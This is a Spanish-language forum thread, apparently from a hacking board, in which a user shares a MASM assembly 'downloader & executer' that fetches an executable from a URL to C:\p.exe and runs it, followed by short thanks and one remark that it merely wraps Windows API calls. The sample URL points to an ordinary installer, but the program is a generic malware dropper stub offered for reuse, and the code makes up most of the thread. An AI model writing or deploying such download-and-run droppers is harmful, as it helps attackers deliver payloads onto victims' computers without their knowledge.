Página 1 de 1

Simple Downloader & Executer[MASM]

Publicado: 10 Dic 2015, 05:14
por top10
.386
.model flat,stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\urlmon.inc
includelib \masm32\lib\urlmon.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\shell32.lib
include \masm32\include\shell32.inc
.data
file         db "http://download01.windirstat.info/wds_current_setup.exe",0
path       db "C:\p.exe",0

    .code

start:
   

invoke URLDownloadToFile, 0, addr file, addr path, 0, 0 ;Download file to "C:\p.exe"
invoke ShellExecuteA, 0, 0, addr path, 0, 0, SW_SHOW ;Execute C:\p.exe
invoke ExitProcess,0 ;Exit process

    ret


end start

Re: Simple Downloader & Executer[MASM]

Publicado: 10 Dic 2015, 08:37
por _ROOTt_
thank you for sharing top10

Re: Simple Downloader & Executer[MASM]

Publicado: 10 Dic 2015, 17:04
por CrypterHacker
Gracias bro

Re: Simple Downloader & Executer[MASM]

Publicado: 10 Dic 2015, 23:59
por top10
Gracias a ustedes! el asm es super rapido y eficiente,el exe solo ocupa 1,5K!
Saludos.

Re: Simple Downloader & Executer[MASM]

Publicado: 11 Dic 2015, 20:34
por SadFud
muy buen aporte top10

Re: Simple Downloader & Executer[MASM]

Publicado: 14 Dic 2015, 00:24
por sanko
Tio, esto no es asm, esto es un ejemplo de como usar la windows api con la super macro invoke.